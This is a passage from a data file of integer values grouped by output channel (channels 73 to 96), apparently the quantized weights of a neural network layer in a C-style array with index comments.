446, -121, -217, 200, -42, -509, 1251, -1969, 33, -656, -1601, -65, -42, -234, 142, -657, 259, 46, 38, 145, // 13120
-12, 2007, 2302, 830, 480, -137, 1142, -360, -1239, 2593, -1521, -132, -247, 113, -466, 499, 310, -225, -494, 915, // 13140
// Out channel 73
-11, -236, -549, 787, 204, -1246, -1420, 422, -1204, -250, -753, -1021, -635, -614, -905, 36, -869, -1016, 91, 143, // 13160
-721, -171, -1402, 572, 1197, 2285, 225, -1015, 964, -432, 303, 871, -1249, -345, -454, -2387, 1058, -396, 1063, -485, // 13180
-131, 855, -75, 636, 798, -2, -48, -115, -449, 729, -1441, -1036, -1548, -523, -921, 236, 1214, -1906, -692, 1334, // 13200
-719, 1674, 796, -1280, 248, -1476, 1701, -127, -166, -143, 782, 641, 85, 844, 72, 653, 205, 826, 618, 1231, // 13220
-648, 65, 673, -764, 137, -186, 1390, -1648, -320, -262, -106, 1633, -764, 1052, -175, -1525, 449, 118, -587, -116, // 13240
199, -37, 32, -288, -38, -1823, -492, -1893, 220, 328, -1170, -307, -2198, 1205, -877, -509, 1537, 693, -968, -876, // 13260
662, 945, 587, 558, 603, 1952, -350, 843, -815, 251, 565, -119, -596, 434, 896, -40, -277, 92, -774, -986, // 13280
1759, 97, -1720, 1781, -27, -345, 181, 799, -76, -199, -991, -60, -873, 333, 3328, -328, -1585, -87, -525, 1408, // 13300
-816, 62, 1291, -529, 139, -1135, 1185, 204, -1489, 876, -873, 1020, -518, 56, -1181, -243, 2672, 736, 612, 427, // 13320
// Out channel 74
364, 330, -434, -543, -1486, 706, 219, 543, 2073, 78, 306, 1376, -354, 54, -238, -156, 693, 2439, -32, 113, // 13340
380, -1333, 1122, -1131, -837, -1024, 174, -1105, -147, -1858, 376, 167, -646, -354, 762, 136, 1807, 1133, 999, 427, // 13360
574, 1298, 994, -1963, 251, 219, 111, 145, 549, -970, -553, -133, 1629, 234, 1304, 1325, 102, 236, -39, 569, // 13380
777, 182, 489, 1946, -190, -1332, -175, 577, -1753, 295, 136, -962, 810, -340, -16, -1860, -42, 15, -1180, -98, // 13400
1041, 110, -808, 126, 1150, 231, 20, 2089, -1673, 707, 703, 512, -257, 482, -540, 981, -387, -289, -442, 1639, // 13420
-1822, -779, 1320, -188, 217, 1112, -188, 1332, 2089, 77, 482, -780, 1318, 179, 217, 66, 230, -1308, 179, -2107, // 13440
-326, 324, -521, -66, 1200, -881, 670, 473, 1248, 2705, -244, 2109, 962, 774, 7, -235, 192, 394, -735, -125, // 13460
-2648, -549, -1154, -1186, 55, -1044, 1427, 179, -282, 4, -580, 1106, 296, -348, -1913, 224, 1362, -144, 379, 237, // 13480
444, 289, -1306, 473, 1214, 319, -1196, -705, 839, -169, 492, -926, -2192, 327, -1419, -425, -1620, -215, 604, 25, // 13500
// Out channel 75
470, 1234, -68, -622, -1188, -729, 113, -204, 468, 1240, 1322, 661, -647, -65, 946, 568, -183, -619, -240, -748, // 13520
560, -1508, 510, -951, -344, 682, 1115, -1, 631, -2928, 465, -140, 2795, -920, -1045, 193, 349, 3724, 676, -896, // 13540
-535, 246, 1182, 543, -599, 680, -1130, 261, 200, 236, 605, 784, 2468, -626, 2604, 1316, -623, 2885, 1106, 404, // 13560
-558, -481, -1275, 1881, 5, 658, -681, 418, -224, 271, -217, -767, 599, -1296, -626, -165, -120, -1485, -104, 310, // 13580
1173, -525, -1764, 199, 732, -1109, 455, -655, -337, 134, 1960, 1861, -124, 999, -387, 1591, -1812, -1594, 2133, -337, // 13600
-596, 633, 544, 621, 140, 64, -204, 1077, 719, -2449, -878, -1108, 139, -494, 157, -967, 270, -201, -506, -1674, // 13620
-861, -492, -2887, -282, -303, -200, 745, 200, 1782, 938, 211, 1057, -75, 1364, -647, 3916, 1207, 677, 202, 96, // 13640
-986, 288, 209, -1663, -1427, -1177, 1209, -250, 1310, -1241, -472, 910, 221, 727, -922, -1126, 1574, -520, 838, -1436, // 13660
2846, 564, -405, -1171, 746, -1169, 718, 610, 342, 528, 423, -2034, -1291, -591, -124, 254, -2055, -480, -643, 35, // 13680
// Out channel 76
946, -849, 70, 1394, 704, -577, -4054, 52, 1637, -217, -470, -498, 478, 675, 406, -512, -128, -294, 865, 24, // 13700
-2700, 963, -3059, 987, 114, -264, 1323, -740, -289, 459, -1990, -910, -433, -266, 984, -1460, 432, 69, 1598, -328, // 13720
733, 1991, -500, 217, 1498, 457, -761, 1803, -755, 353, -1859, -235, -484, -1453, -1031, -409, 249, 254, -3239, 530, // 13740
826, -33, 1048, -1968, -23, -124, 2259, -1969, 2428, 1335, -176, 2750, -856, 623, -64, -640, -2214, -747, -39, 2353, // 13760
6, 259, -77, -724, 471, -211, -299, -212, -1278, 634, -640, 2, -402, 883, -783, -283, 2041, -835, -419, -1508, // 13780
1408, 1589, -2132, 471, 89, -3458, 772, -997, -306, -99, -869, -201, -1298, 318, -254, -380, 110, 296, -393, 357, // 13800
1761, 2125, 687, 626, 797, 2836, 6, -349, -403, 385, 150, -1033, -559, 99, 345, -228, 149, 133, -363, -1062, // 13820
604, -164, -981, 1003, -89, 783, 244, -427, 129, 8, -172, 1778, -379, -11, 205, 158, -895, -262, 46, 690, // 13840
-529, 1550, 4298, 327, 551, -751, -39, -315, -946, 647, -324, 847, 1996, -789, -1878, 865, 556, 225, -367, 76, // 13860
// Out channel 77
-264, 1099, 90, -1103, -2414, -38, 516, -1059, 169, 2323, 1775, 1018, -631, -1081, 945, 161, 271, -199, -1049, -1024, // 13880
265, -2078, 869, -1125, 480, 79, 468, -246, 509, -2587, 310, 776, 2353, 252, -799, 242, -55, 2970, -364, 597, // 13900
-108, -961, 838, -33, -839, -868, -289, 156, -186, 222, 429, -190, 3496, -944, 2015, 981, -186, 4312, 965, 446, // 13920
-763, -682, -1236, 2234, 738, 796, -1487, 884, -1522, -60, -258, 646, 530, -1914, 515, 34, 760, -1008, -1440, 283, // 13940
1212, -482, -2245, 303, 283, -223, 423, -486, -54, -601, 566, 15, -1306, 447, 100, 1478, -2715, 16, 800, -726, // 13960
200, -424, 656, 67, -1026, 897, -119, 1501, 10, -1789, -27, -522, -86, -852, 460, -362, 147, -1075, -55, -1586, // 13980
-2711, -777, -1876, -428, -503, -675, -166, -932, 1817, 783, -637, 734, -293, 695, -1526, 2884, 1246, 519, 309, 1271, // 14000
-1589, 214, 656, -1723, -1101, -1287, 368, 526, 1700, -1874, -465, 597, 399, 1538, -1305, -2270, 2260, -696, 1583, -2236, // 14020
2299, 209, -1120, -323, 357, -357, 1129, -96, 406, 798, 253, -2782, -247, -31, 69, 1233, -1626, 610, -551, 272, // 14040
// Out channel 78
-253, 192, 213, 416, -538, -1087, -350, -657, -726, 698, 956, -1430, -286, -727, 334, 588, -340, -1348, -302, -949, // 14060
-99, -807, -440, -263, 1257, 1450, 577, -1663, -133, -1119, 506, 258, 2011, -908, -1058, -729, -250, 2495, 587, -383, // 14080
-999, 83, 117, 800, 97, -410, -778, -63, -300, 1477, -576, -302, 1205, -1167, 390, 142, 511, 1289, 451, 1900, // 14100
-470, 252, -835, -508, -1069, -366, 153, -24, 252, -707, 525, 1597, -459, -704, -136, 1, 96, -529, 425, 1718, // 14120
761, 172, -1777, -805, -88, -834, 1642, -1474, 187, -80, 135, 787, -907, 3381, 169, 568, -1035, -443, 783, -399, // 14140
676, 632, 657, 455, -492, -264, -213, -694, 371, -2261, -1835, 165, -1365, 422, 48, -1329, 1115, -114, -829, -844, // 14160
-1156, 210, -552, -91, -34, 183, -399, -49, 1175, 906, 299, 572, -1141, 645, -22, 2313, 60, -517, -420, 66, // 14180
397, -311, 600, 26, -582, -608, 947, 76, 1639, -1437, -1140, 607, -193, -203, 499, -870, 17, -1799, 985, -1244, // 14200
3026, 1153, 742, -1186, -266, -1361, 2572, -576, -1884, 2411, -1065, -553, -565, 210, 374, 624, -295, 350, -113, 1141, // 14220
// Out channel 79
659, -1105, 2723, 1355, 723, 121, 771, 722, 724, -1273, 11, -208, 940, 3699, -36, -1842, 210, -632, 2231, -51, // 14240
-1858, 1055, -1106, -274, 100, -435, 702, 1424, -1472, 78, -1090, -3427, -359, 364, 827, 7, -754, -646, 734, -394, // 14260
-351, 374, -1029, -173, 677, 720, -352, 1011, 511, -338, 902, 2255, -748, -27, -1149, -153, -464, 132, -498, -449, // 14280
-574, -2225, 304, -1323, -1240, 1485, -128, -2053, 908, 991, -800, 1143, -449, 53, 408, 171, -2545, -1236, -215, -623, // 14300
-242, -27, 1054, 78, 249, -358, -291, -752, -348, 805, -556, -831, 3223, -1129, 19, 242, 1723, -720, -915, -491, // 14320
290, 1551, -1227, 277, 2356, -1050, 1115, -151, -303, 241, 1204, 444, -217, 94, 113, -511, -318, -130, 109, 1891, // 14340
854, 27, 918, 277, 22, 948, -1573, -431, -842, -291, -384, -1441, 607, -214, 11, 339, 779, 70, 122, 72, // 14360
85, 574, -512, 626, 88, 114, -98, -3332, -1470, 501, 693, 175, 412, -1704, 66, 673, -492, 1787, -1202, 661, // 14380
-1267, 778, 576, 146, 261, 684, -703, 41, -31, 317, -564, 1394, 325, 1172, -568, 176, 691, -1223, -1633, -334, // 14400
// Out channel 80
-80, 1162, 1334, -501, 458, -109, 329, 129, -473, -6, 1778, 1269, 1544, 38, 347, 438, 786, 545, -293, -705, // 14420
1061, 301, 2272, -1460, -784, -4297, -581, 144, -825, -94, -1108, -1246, -81, -44, 517, 2681, -849, -832, -636, -1618, // 14440
1056, -431, -1670, -547, -1438, 1112, -56, -149, 584, -1657, 1515, 1366, 239, 652, 463, -34, -905, 177, 394, -1095, // 14460
1098, -2330, -355, 228, -890, 489, -14, -645, -147, 189, -172, -1430, -953, -734, 749, 436, -859, 38, -986, 443, // 14480
-5, -460, 378, 3007, 116, 457, -775, 797, -10, 320, 404, -1465, 1498, -772, 1040, 781, 398, -64, -214, 1565, // 14500
-1754, 267, 535, -1129, 2349, 1005, -252, 498, -470, -336, 2013, 363, 2343, -886, 219, -565, -932, 377, 457, 635, // 14520
-448, -3866, 55, -364, -878, -1439, -1699, 345, 288, -240, -425, 165, 1235, 269, -1343, -291, 325, 452, 338, -219, // 14540
-1621, -628, 1914, 216, -32, 897, 1169, -2136, -342, 189, 828, -192, -851, -504, -1357, -159, 6, 683, -1390, -841, // 14560
-892, -473, -1215, 60, -474, 3458, -436, 1019, 2206, -925, 1417, -410, -926, 875, 321, 114, -1211, -1861, 567, -765, // 14580
// Out channel 81
-11, -895, -488, 131, 288, -1085, -4361, -48, -322, 314, 403, -1251, 65, 342, 196, 211, -81, -781, 160, 172, // 14600
-2246, -868, -2774, -150, 369, -313, 1964, -2241, -332, 111, -2818, -1217, 310, -1441, -2, -556, -34, 81, 2988, -1318, // 14620
681, 225, -2023, -1875, 315, 548, -141, 525, -1931, 386, -287, 522, 372, -3762, -498, -14, 635, 771, -408, 1098, // 14640
1633, -557, -421, -864, 201, -1062, 1663, -1058, 492, 175, -80, 2414, -186, 106, 38, 335, -1754, -638, -391, 2719, // 14660
774, 375, 15, -1188, -93, -173, 825, -1249, 207, 590, -263, -31, 99, 4897, 547, -918, -137, -349, 175, -220, // 14680
740, 2012, -1758, -363, 1025, -1851, 526, -443, -148, 143, -230, 538, -2312, 146, -237, -194, 421, 1277, -1275, -831, // 14700
211, 238, 584, 201, -10, 1960, -565, 557, 210, 591, -319, 1278, -147, 1322, -586, 407, -27, -209, -287, -1711, // 14720
64, -51, 13, 409, -696, -307, 500, -1637, 179, -569, -1422, -283, -2033, 100, 61, -368, 112, 35, 446, -185, // 14740
-319, 1797, 2894, 624, -72, 228, 677, -615, -1952, 2194, -634, -172, 687, -242, -449, 432, 416, 33, 407, 372, // 14760
// Out channel 82
695, -477, 1999, -91, 281, 158, 1273, 437, 1021, -195, 881, -223, -885, 823, -11, -987, 2324, -717, 586, 129, // 14780
-1047, 277, -893, -636, 476, 1478, 143, 1626, -632, 761, 487, -944, -377, -149, 487, 932, -264, -307, -100, 607, // 14800
-818, -1472, -643, 417, 537, -406, -117, 912, 2125, -912, 235, 863, -575, -1050, 195, 403, -259, 3, 383, -2536, // 14820
-1750, -2447, -31, -189, -810, 2840, -2147, 643, 360, 841, 145, 810, 1690, -60, -129, -242, 166, -697, -191, -2567, // 14840
-289, -35, -24, -102, 93, -83, 637, -1178, -317, 559, -295, -838, 327, -532, -165, 165, -227, -22, -40, -961, // 14860
418, 1914, -1771, 450, -627, 357, 581, 437, 402, -56, 2157, -716, -164, -393, -105, 397, -1261, -657, 641, 89, // 14880
-321, 1192, -124, -570, 786, 418, -1457, -2400, 348, -441, -559, -1295, -497, 3, 261, 382, 314, 200, 295, 1314, // 14900
619, 497, 23, -384, 428, -271, -232, -794, -217, -138, 2033, 315, 1662, 626, -607, -224, 584, 734, -215, 671, // 14920
40, 453, -434, -541, 451, 8, 19, -404, -336, 254, -1880, 600, 1327, 970, -100, -352, -281, 128, -3008, -892, // 14940
// Out channel 83
-123, 311, 644, 343, -440, -2067, 490, -113, -769, 325, 781, -2500, -1202, -7, -40, 229, 332, -1182, -443, -5, // 14960
867, 625, 179, 1138, 1935, 1978, 1663, 1591, 164, 189, 1231, -216, -430, -317, -507, -400, 300, -499, 258, -1494, // 14980
-1960, -1005, 1359, 2306, -225, -324, -37, 105, -929, 936, -861, -527, -1182, -1820, -467, -426, -738, -512, 1235, -599, // 15000
-2506, -291, -805, -393, 141, 801, 334, 437, 99, -162, -262, -844, 1074, 82, -284, 101, 243, 98, 1185, -267, // 15020
-896, -388, 88, -146, -633, -1609, 622, -745, 201, -157, -53, 279, -231, 1075, -360, 232, -287, 349, 149, 755, // 15040
-501, 1490, 797, 540, -148, 345, -58, -1130, -168, -18, -728, -891, 113, -474, -7, -419, 610, 329, -1828, 221, // 15060
234, -694, 611, -226, 200, -643, -502, -469, -276, -649, 378, -2033, -110, -623, 51, -852, 68, -514, 105, -368, // 15080
1681, 783, -767, 976, -80, 513, -1152, -543, -439, 204, 237, -753, -585, -32, 1010, -131, -692, -181, -1669, -154, // 15100
63, 2784, -238, -703, 5, -549, 652, 453, -135, 964, -677, 649, -518, -465, -116, -155, 529, -55, -588, 1010, // 15120
// Out channel 84
-227, -387, -3285, -1139, -1606, 552, -284, -266, -114, 2085, 75, 872, -1252, -4131, 198, 728, 39, -322, -1837, 404, // 15140
946, -1795, -13, 957, 300, 185, -988, -1597, 1421, -1166, 1034, 3418, 292, 343, -68, -1443, 102, 1696, 389, 251, // 15160
1238, -623, 1315, 319, 206, -333, 726, 252, -386, 156, -772, -3578, 1599, 662, -7, -6, 727, 847, 1091, 1246, // 15180
-1204, 1319, -1333, 779, 1827, -500, -520, 1612, -1133, -423, 626, -43, 622, -96, 401, 148, 2279, 326, -360, 985, // 15200
371, -23, -1865, -951, -293, 576, 744, 158, -277, -1624, 294, 987, -4090, 648, -761, -139, -460, 402, 224, -739, // 15220
1035, -1647, 665, 592, -2189, -371, -1680, 509, 206, -264, -1972, 316, -951, 1238, 263, 468, 683, -631, 514, -1103, // 15240
-1902, 7, -782, -1426, -867, -809, 1475, 543, 1262, 473, -85, 1962, 764, -749, -60, 459, -329, 42, -537, 196, // 15260
-544, -1348, -246, -635, -147, -778, 61, 3814, 1363, 60, -1045, 52, 596, 1549, 699, -945, 631, -1401, 2443, -1784, // 15280
2064, -409, -654, 321, -111, -2519, 1723, -174, -417, 644, 94, -1924, -207, -819, 666, 576, -107, 1523, 2032, 257, // 15300
// Out channel 85
-755, -470, 742, 30, 1132, 637, -1437, 164, 1359, 223, 702, 391, 2649, 488, 1470, -594, 438, -539, 601, -37, // 15320
-610, 1091, -752, -144, -522, -3094, 98, -59, -2391, 2719, -2693, -888, -603, 41, 491, 805, -2752, -917, 16, -291, // 15340
872, 293, -5238, -1172, -1169, 340, -677, 888, 241, -627, 3714, 383, 581, -121, -1615, -629, -616, 1357, -371, -1048, // 15360
4155, -1316, 114, -423, -20, 1517, 384, -2098, 867, 135, -1371, 1254, -3064, 90, -469, 1458, -847, 51, -453, -341, // 15380
-336, -178, 1151, 1343, -1979, 350, -203, -29, 1328, 231, -1383, -4470, 565, -136, 1172, -675, 1634, -361, 30, -1197, // 15400
1390, 359, -4994, -172, 1242, 469, 596, 467, -2791, 108, 1368, 2203, 905, -2376, 650, 438, -891, 104, -72, 2282, // 15420
1341, -1013, 756, 715, -2315, 181, 57, -489, -507, -1151, 667, -21, -171, 94, -1665, 661, 560, -2082, 275, -495, // 15440
-112, 99, 2086, 474, -786, 2100, 339, -765, -438, 685, 1157, -343, 92, -854, -1499, 235, -1407, 245, -141, 77, // 15460
-1851, 8, -214, 299, -2409, 1469, -489, 522, 108, -323, 1524, -193, 1784, 308, 2145, 402, 102, 431, -518, 7, // 15480
// Out channel 86
250, 576, 442, 1295, 221, 913, 882, 1494, 519, -2170, 294, 1297, 148, 1228, -1490, -2462, 1086, 443, 1066, 1487, // 15500
151, -226, 405, -936, -1862, -1156, -133, 134, -1376, -27, 47, -1413, -1770, 556, 1108, 2041, 75, -1582, -983, -331, // 15520
825, -205, 102, 219, 1479, 1094, 1069, -422, 1144, -1637, 723, 1132, -415, 619, -836, -338, -198, -1062, -175, -1764, // 15540
-275, -687, 670, -13, -445, 1144, -1070, 326, 1392, 931, 976, -1096, -136, 1917, 961, 165, -1265, 295, 228, -820, // 15560
-310, 1521, 2322, 1424, 97, 947, -2179, 444, -580, 215, -625, -316, 1132, -1931, -212, -1498, 311, 98, -1174, 1140, // 15580
-887, 290, 402, -1800, 907, 878, 1223, -357, 509, 1258, 2510, -114, 791, 111, -402, 840, -707, 475, 703, 826, // 15600
811, -675, 1952, -63, 774, -288, -804, -273, -823, -256, -603, -83, 1147, -713, 861, -1389, -818, 124, -1322, 1448, // 15620
-457, 405, 83, 208, 1491, 255, -217, -510, -2080, 469, 1406, -250, 707, -1026, -791, 2933, -360, 2997, -1293, 2009, // 15640
-2213, -380, -194, 609, 206, 1834, -1307, -293, 1424, -1262, -8, 679, -331, 1271, 13, -2414, -205, -1639, -81, -750, // 15660
// Out channel 87
264, -708, 3429, 2067, 1263, -27, 246, 1195, 983, -1729, 26, 29, 606, 3792, -1089, -2271, 299, -25, 3400, 309, // 15680
-1569, 1241, -1646, -43, -227, -428, 413, 978, -1870, 605, -1590, -3964, -1359, -1096, 558, 1223, 5, 145, 764, 305, // 15700
248, 997, -718, -335, 597, 156, -164, -74, 107, -202, 767, 3403, 105, -750, 211, 127, -181, -46, -528, -1131, // 15720
749, -2168, 101, -635, -2150, 1700, 608, -712, 1115, 552, -206, 1008, -788, 878, 342, -838, -2097, -439, 78, -219, // 15740
-214, 391, 335, 1146, 342, -296, -390, 412, -727, 1499, -269, -1011, 3841, -404, 572, 539, 504, -212, -346, -255, // 15760
-139, 2331, -700, 9, 2259, -428, 1746, 6, 4, 53, 1153, -455, 669, -357, -109, 120, -474, -437, 603, 1160, // 15780
1605, 633, -63, 1022, 293, 1067, -1362, -443, -387, 545, -402, 452, 94, 423, 544, -92, -681, 208, -722, -905, // 15800
141, 192, 382, -230, 175, 760, 417, -3143, -141, -685, 413, 919, 99, -1680, -132, 1340, -572, 1326, -760, 2299, // 15820
-1305, 349, 1047, -155, 151, 1430, -1400, -813, -161, -156, 514, 907, 320, -51, -563, -737, 402, -1790, -3597, -47, // 15840
// Out channel 88
730, 75, -2460, -982, 38, 2118, 679, 352, 586, 365, -1019, 2160, 1706, 376, -8, -175, -747, 310, -266, 72, // 15860
-244, 220, 1112, 74, -1880, -483, -1517, -134, 245, 180, -5, 384, -380, 1125, 618, 17, -141, -672, -1671, 1454, // 15880
535, 234, -342, -650, 26, 137, -514, 551, 1080, -675, -1, -998, -268, 2591, -422, 27, -272, 93, -1058, -1278, // 15900
2611, 732, 1487, 480, 668, -1094, -541, -852, -403, -922, -611, -534, -1129, -611, -437, 177, 157, -44, -351, -1539, // 15920
-59, -426, -222, -28, 164, 3250, -1270, 1086, -10, -503, 575, -536, -314, -3084, -526, -1, 671, 1, 278, 927, // 15940
-1340, -2084, -834, 298, -247, 293, -500, -94, -1063, 453, 617, -356, 1479, -223, 563, 298, -2071, 410, 1815, 574, // 15960
939, -661, 63, 350, 82, -1051, 1073, -303, -773, -551, 469, 566, 1253, -302, -43, -284, 416, 376, 863, 132, // 15980
-1900, 253, -365, -229, -180, 702, 203, 433, -365, 641, 1758, -402, 379, -621, -1092, -102, -224, -251, 255, 354, // 16000
-178, -2299, 142, 681, 452, 451, -1111, 168, 645, -2950, 1641, 114, -310, -973, 48, 1, 281, -345, 567, -759, // 16020
// Out channel 89
-655, 115, 347, 154, -1196, 14, 213, 1088, -677, -396, 204, -383, -1245, 541, -998, -127, 419, 703, -330, 811, // 16040
297, -465, 908, -761, 66, 196, 156, 442, -578, -543, 549, -468, -129, -489, -454, -143, -682, 820, 285, -44, // 16060
758, -242, 664, 1296, 693, -642, 293, -761, -367, -247, 15, 538, 99, 99, 589, -411, 1781, -424, 1019, 507, // 16080
-1592, 194, -564, 614, -811, -624, -2, 856, -1045, -202, 1537, 147, 1756, 493, 1442, -630, 180, 1394, -644, -219, // 16100
-238, 1295, -540, 465, 77, 221, 11, 265, 825, 678, 363, 243, 208, 495, 509, 836, -1491, 1156, -491, -599, // 16120
-511, 475, 634, -921, 201, 487, 123, 347, 362, 156, 501, -610, -95, 1444, -1744, 827, 466, -645, -409, -582, // 16140
-868, 387, -962, -433, 380, 237, 392, -286, 166, -66, -1143, 125, 171, -324, 384, -1100, -1227, -319, -1492, -272, // 16160
46, -1291, 90, -1099, 1646, -371, -1128, -124, -324, -871, -1105, 198, -439, -78, 325, 929, 121, 1114, -41, 632, // 16180
209, -78, -426, -94, -203, 863, -447, -1499, -495, 146, -879, -367, -346, 2001, 72, -1574, -176, -195, -134, 593, // 16200
// Out channel 90
489, -232, -20, 685, 1567, -723, -2324, 511, 1134, -1815, -399, 349, 1895, 1328, 91, -990, -1544, 500, 1730, 76, // 16220
-1072, 2025, -1304, 95, -325, -1858, 694, -182, -1270, 1012, -1994, -2526, -1092, -106, 87, 562, 681, -1262, 469, 361, // 16240
103, 1560, -1782, -1585, -73, 103, -844, 2, -494, -79, -202, 1727, 561, -136, -982, 230, -92, -795, -3431, -519, // 16260
2624, 69, 1967, -1047, -254, -375, 1760, -2702, 1522, -157, -1211, 160, -1759, -249, -510, -969, -3018, -410, 366, 739, // 16280
-205, -716, 1795, 115, -112, 254, -478, -11, 162, 2232, 495, -1599, 1334, -185, -255, 97, 3160, -565, 956, 1109, // 16300
-142, 529, -2417, 96, 2044, -964, 1625, -547, -330, 797, 1009, -612, 1960, -1225, 525, 176, -851, 27, 44, 1550, // 16320
2673, 612, 472, 1755, 429, 645, 354, 189, -1254, 700, 1096, -480, -26, 1020, 287, -23, 232, 663, -25, -2167, // 16340
225, 444, -212, 94, 57, 1613, 749, -1924, -417, 511, 1378, 988, -1601, -1967, -1273, 409, -591, 542, -804, 1690, // 16360
-2519, -312, 2143, -181, 424, 821, -2325, -85, 351, -186, 1074, 1213, 637, -435, -666, 146, -108, -892, -851, -281, // 16380
// Out channel 91
-1254, 158, 1213, 1598, -1401, -703, -818, 720, -576, 350, 1540, -289, -1907, 1211, -2224, -850, 798, 733, 915, 568, // 16400
-165, -1772, -455, -1465, 269, -635, 396, -1281, -1844, -1331, -175, -1197, 253, -179, 502, 262, 134, 618, 656, -605, // 16420
365, -680, 342, 87, 806, -229, 850, 197, -315, -568, 357, 1608, 935, -371, 821, -621, 1400, 583, 1419, -466, // 16440
-1486, -2016, -579, 1065, -2097, 233, -121, 574, -739, 547, 2673, 600, 1304, 180, 3203, -1434, -541, 473, -1473, 811, // 16460
746, 2213, 131, 617, -696, 10, 218, 150, 491, 313, -280, 12, 1429, 663, 199, -332, -1747, 708, -813, -315, // 16480
-233, 971, 830, -630, 450, 194, 774, 753, 974, -202, -82, 409, -1107, 1183, -1966, 1107, 550, -713, 404, -1101, // 16500
-1222, -168, -362, -1465, -207, 18, -111, 145, 467, -297, -2682, 1035, 76, 811, -131, 247, -1138, 88, -2159, -556, // 16520
-1308, -1844, 1381, -1480, 470, -1044, -380, -1325, 520, -1451, -717, 617, -140, 1399, -868, 985, 1544, 1147, 283, -368, // 16540
-303, 764, -198, 300, -664, 1131, 435, -1225, -567, 128, -1194, -1109, -349, 2848, 641, -1811, -620, 241, -619, -424, // 16560
// Out channel 92
973, -1635, -1399, -474, 1856, 610, -12, 4, -259, -956, -1110, -317, -248, 772, 18, 336, -1053, -1102, -711, 663, // 16580
-1563, 1296, -1085, 2079, 382, 715, -391, 283, -52, 1349, -551, 450, -650, 1682, 689, -1491, 0, -2374, 172, -105, // 16600
160, 153, -748, -584, 207, -218, 411, -208, -667, 100, -784, -1864, -2299, 747, -2101, -377, 304, -527, -914, 148, // 16620
284, 1238, 87, -2962, 374, 102, 533, -752, 761, -491, -184, 729, -237, 472, -103, -201, -568, 163, 211, -239, // 16640
-863, -1027, 614, -1642, 391, 1149, -352, -1146, -84, -410, -764, -1054, -849, -366, 82, -1472, 1582, 657, -204, -841, // 16660
1068, -618, -677, 991, -79, -1263, -149, -1057, -52, 368, -802, -109, -1204, 523, -273, -640, -372, 650, 87, 1278, // 16680
1017, 660, 1267, 155, -351, 213, -187, -278, -568, -550, 275, -1158, -316, -670, 737, -472, -163, 170, -347, -188, // 16700
2152, 302, -343, 1797, -180, 608, -183, 510, -23, 2541, -102, -912, -67, -399, 1366, 941, -1583, -348, -587, 1187, // 16720
-1061, -29, 1232, 1640, 250, -1626, 543, -518, -1818, -105, -133, 1875, 1788, -1451, -275, 537, 2302, 852, 131, -53, // 16740
// Out channel 93
-1, -224, -344, -372, 1011, 612, -1294, 767, 1237, 132, -828, 1305, 3664, 1027, 649, -1149, -218, 365, 845, 189, // 16760
-404, 1199, 36, 264, -921, -5033, -654, -415, -1193, 1680, -2507, -1064, -264, -364, 345, 620, -370, -975, -45, 159, // 16780
809, 907, -3670, -2481, -611, 478, -245, 694, 325, -734, 1299, 1256, 378, 176, -68, -35, -463, 931, -2635, -610, // 16800
5464, -460, 1511, 182, 907, 550, 1040, -2433, -27, 63, -922, 492, -3471, -531, 151, 67, -2120, -159, -415, 630, // 16820
161, -186, 756, 1023, 26, 120, -507, 1884, 246, 814, -121, -3499, 319, -305, 683, 226, 2072, -447, 66, 504, // 16840
-560, -711, -3459, 181, 1512, -148, 370, 640, -1284, 528, 1388, 438, 1873, -2254, 226, 129, -956, -176, -18, 931, // 16860
2269, -676, -346, 1152, -410, -110, 758, 34, -87, -333, 233, 765, 44, 465, -739, 178, 110, -77, 79, -1277, // 16880
-1492, -40, 134, 28, -303, 2085, 182, -918, 345, 744, 878, 33, -1164, -1371, -1450, -163, -752, 203, 926, 869, // 16900
-1573, -475, 599, 35, -411, 2529, -2512, 17, 308, -261, 2386, 408, 5, -813, 226, 175, 313, -1220, -110, -159, // 16920
// Out channel 94
-362, -393, -190, 1063, -757, -107, 526, 1702, 1251, -149, -103, -498, 114, 382, -2713, -2801, 20, 1682, 1266, 3104, // 16940
291, -152, -528, 244, -124, 242, 183, 470, -1605, 670, 765, -64, -1339, -354, -26, 378, 520, -139, 91, 655, // 16960
-875, -296, -39, 172, 1168, -636, 750, -147, 493, 302, -1216, -605, -126, -847, -198, -551, 1971, -732, 15, -954, // 16980
-294, 512, 1040, 1301, -631, -552, -499, 643, -168, -724, 1377, 262, 312, 1575, 1424, -925, 424, 1062, -166, -235, // 17000
-451, 1106, -594, 213, -451, -586, -131, 447, -479, 897, -1098, -743, -118, -341, -1933, -605, -594, 1118, -61, 1311, // 17020
-119, 543, -290, 279, -133, 41, 643, -464, -142, 1206, 827, -202, -371, 572, -784, 2024, -550, -593, -488, -268, // 17040
177, 1629, 671, 29, 1149, -207, 321, -1643, -134, -664, -990, -2, 439, 333, 2474, -711, -720, -673, -562, 30, // 17060
-338, -859, -784, -1073, 3005, 29, -327, 675, 677, 412, 625, 1206, -869, 499, -640, 2965, 545, 1879, -390, 1200, // 17080
-382, -91, -479, 221, -195, 439, -1349, -2281, -235, -696, -495, 405, -140, 1332, 113, -3070, -169, 453, -260, 1123, // 17100
// Out channel 95
-73, 34, -1164, -494, 1679, -985, -3924, -469, -382, -90, -1040, -2236, 358, -531, 67, 431, -1936, -1312, -262, -71, // 17120
-523, 735, -2619, 2016, 1079, 1559, 679, -246, 893, 478, -571, -253, -49, -944, -339, -607, -520, -174, 1953, -546, // 17140
-555, 291, -903, -414, -112, 520, -315, 504, -1725, 2787, -144, -521, -1041, -368, -1162, 451, -479, -694, -1684, 1295, // 17160
486, 837, -75, -2302, -562, -713, 4674, -1839, 1517, 141, 67, 533, -1870, -313, -1177, 1337, -745, -96, 1315, 1012, // 17180
-512, 130, 223, -745, -843, -989, 556, -1252, 769, 139, -45, 815, -811, 1552, 276, -761, 1625, 3, 248, -1, // 17200
287, 94, -1088, 840, 177, -2876, 1302, -398, -1302, 154, -470, 117, -619, 260, 429, -1580, 313, 1013, -1573, 1431, // 17220
1050, 882, -144, 2315, -627, 2671, 265, 1474, -608, -194, 695, -537, -1345, -352, -471, -416, 422, -382, 743, -2689, // 17240
2073, 1036, 172, 2231, -138, 590, -394, 290, 227, -1, 82, -429, -3023, -1345, 1376, 151, -1226, -534, -746, 829, // 17260
-201, 741, 2523, -511, -571, -1319, 1592, 404, -1292, 547, 787, 1065, 764, -1357, 626, 355, 502, -191, 527, 809, // 17280
// Out channel 96
-197, -9, -381, 107, -807, 229, 1151, 1032, 1466, -95, -356, 326, 257, 210, -84, 152, -1038, 520, 318, -103, // 17300
1377, 546, 1258, 236, 190, -310, 174, 158, -468, 78, 45, -452, 453, -575, -754, -480, -247, 990, -321, 1431, // 17320
